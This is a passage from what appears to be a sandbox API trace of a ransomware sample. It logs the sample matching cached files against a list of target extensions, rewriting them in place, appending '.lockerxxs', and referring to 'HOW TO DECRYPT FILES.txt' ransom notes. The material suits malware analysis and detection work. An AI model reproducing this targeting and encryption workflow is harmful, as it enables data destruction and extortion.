Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.326] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.327] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.327] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBEf54R[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg" [0083.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.ems") returned 0 [0083.327] lstrlenA (lpString="*.ems") returned 5 [0083.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.db") returned 0 [0083.327] lstrlenA (lpString="*.db") returned 4 [0083.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.dbf") returned 0 [0083.327] lstrlenA (lpString="*.dbf") returned 5 [0083.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.myox") returned 0 [0083.327] lstrlenA (lpString="*.myox") returned 6 [0083.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.myo") returned 0 [0083.327] lstrlenA (lpString="*.myo") returned 5 [0083.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.qbw") returned 0 [0083.327] lstrlenA (lpString="*.qbw") returned 5 [0083.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.qbb") returned 0 [0083.327] lstrlenA (lpString="*.qbb") returned 5 [0083.327] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.qbm") returned 0 [0083.327] lstrlenA (lpString="*.qbm") returned 5 [0083.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.qbo") returned 0 [0083.328] lstrlenA (lpString="*.qbo") returned 5 [0083.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.qbx") returned 0 [0083.328] lstrlenA (lpString="*.qbx") returned 5 [0083.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.qba") returned 0 [0083.328] lstrlenA (lpString="*.qba") returned 5 [0083.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.qby") returned 0 [0083.328] lstrlenA (lpString="*.qby") returned 5 [0083.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.qbj") returned 0 [0083.328] lstrlenA (lpString="*.qbj") returned 5 [0083.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.ofx") returned 0 [0083.328] lstrlenA (lpString="*.ofx") returned 5 [0083.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.qif") returned 0 [0083.328] lstrlenA (lpString="*.qif") returned 5 [0083.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.mye") returned 0 [0083.328] lstrlenA (lpString="*.mye") returned 5 [0083.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.mbox") returned 0 [0083.328] lstrlenA (lpString="*.mbox") returned 6 [0083.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.eml") returned 0 [0083.328] lstrlenA (lpString="*.eml") returned 5 [0083.328] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.pst") returned 0 [0083.329] lstrlenA (lpString="*.pst") returned 5 [0083.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.ost") returned 0 [0083.329] lstrlenA (lpString="*.ost") returned 5 [0083.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.idx") returned 0 [0083.329] lstrlenA (lpString="*.idx") returned 5 [0083.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.dbx") returned 0 [0083.329] lstrlenA (lpString="*.dbx") returned 5 [0083.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.sql") returned 0 [0083.329] lstrlenA (lpString="*.sql") returned 5 [0083.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.mdb") returned 0 [0083.329] lstrlenA (lpString="*.mdb") returned 5 [0083.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.fdb") returned 0 [0083.329] lstrlenA (lpString="*.fdb") returned 5 [0083.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.wab") returned 0 [0083.329] lstrlenA (lpString="*.wab") returned 5 [0083.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.dat") returned 0 [0083.329] lstrlenA (lpString="*.dat") returned 5 [0083.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.txt") returned 0 [0083.329] lstrlenA (lpString="*.txt") returned 5 [0083.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.jpeg") returned 0 [0083.329] lstrlenA (lpString="*.jpeg") returned 6 [0083.329] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", pszSpec="*.jpg") returned 1 [0083.329] lstrlenA (lpString="*.jpg") returned 5 [0083.330] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg" [0083.330] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg" [0083.330] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg." [0083.330] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg.lockerxxs" [0083.330] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef54r[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.330] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x828 [0083.330] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x459613d0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x459613d0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x459613d0, dwHighDateTime=0x1d2faf3)) returned 1 [0083.330] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.331] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x802, lpOverlapped=0x0) returned 1 [0083.333] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg") returned="BBEf54R[1].jpg" [0083.333] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.333] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x802, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x802, lpOverlapped=0x0) returned 1 [0083.333] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.333] CloseHandle (hObject=0xa4) returned 1 [0083.334] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef54r[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef54r[1].jpg.lockerxxs")) returned 1 [0083.334] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4587cb90, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4587cb90, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x4587cb90, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x3860, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEfBbH[1].jpg", cAlternateFileName="BBEFBB~1.JPG")) returned 1 [0083.334] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.334] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEfBbH[1].jpg") returned 1 [0083.335] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEfBbH[1].jpg") returned 1 [0083.335] lstrcmpiA (lpString1="", lpString2="BBEfBbH[1].jpg") returned -1 [0083.335] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg") returned="BBEf54R[1].jpg" [0083.335] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.335] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.335] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.335] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.335] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBEfBbH[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg" [0083.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.ems") returned 0 [0083.335] lstrlenA (lpString="*.ems") returned 5 [0083.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.db") returned 0 [0083.335] lstrlenA (lpString="*.db") returned 4 [0083.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.dbf") returned 0 [0083.335] lstrlenA (lpString="*.dbf") returned 5 [0083.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.myox") returned 0 [0083.335] lstrlenA (lpString="*.myox") returned 6 [0083.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.myo") returned 0 [0083.335] lstrlenA (lpString="*.myo") returned 5 [0083.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.qbw") returned 0 [0083.335] lstrlenA (lpString="*.qbw") returned 5 [0083.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.qbb") returned 0 [0083.336] lstrlenA (lpString="*.qbb") returned 5 [0083.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.qbm") returned 0 [0083.336] lstrlenA (lpString="*.qbm") returned 5 [0083.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.qbo") returned 0 [0083.336] lstrlenA (lpString="*.qbo") returned 5 [0083.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.qbx") returned 0 [0083.336] lstrlenA (lpString="*.qbx") returned 5 [0083.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.qba") returned 0 [0083.336] lstrlenA (lpString="*.qba") returned 5 [0083.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.qby") returned 0 [0083.336] lstrlenA (lpString="*.qby") returned 5 [0083.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.qbj") returned 0 [0083.336] lstrlenA (lpString="*.qbj") returned 5 [0083.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.ofx") returned 0 [0083.336] lstrlenA (lpString="*.ofx") returned 5 [0083.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.qif") returned 0 [0083.336] lstrlenA (lpString="*.qif") returned 5 [0083.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.mye") returned 0 [0083.336] lstrlenA (lpString="*.mye") returned 5 [0083.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.mbox") returned 0 [0083.336] lstrlenA (lpString="*.mbox") returned 6 [0083.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.eml") returned 0 [0083.336] lstrlenA (lpString="*.eml") returned 5 [0083.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.pst") returned 0 [0083.336] lstrlenA (lpString="*.pst") returned 5 [0083.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.ost") returned 0 [0083.337] lstrlenA (lpString="*.ost") returned 5 [0083.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.idx") returned 0 [0083.337] lstrlenA (lpString="*.idx") returned 5 [0083.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.dbx") returned 0 [0083.337] lstrlenA (lpString="*.dbx") returned 5 [0083.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.sql") returned 0 [0083.337] lstrlenA (lpString="*.sql") returned 5 [0083.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.mdb") returned 0 [0083.337] lstrlenA (lpString="*.mdb") returned 5 [0083.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.fdb") returned 0 [0083.337] lstrlenA (lpString="*.fdb") returned 5 [0083.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 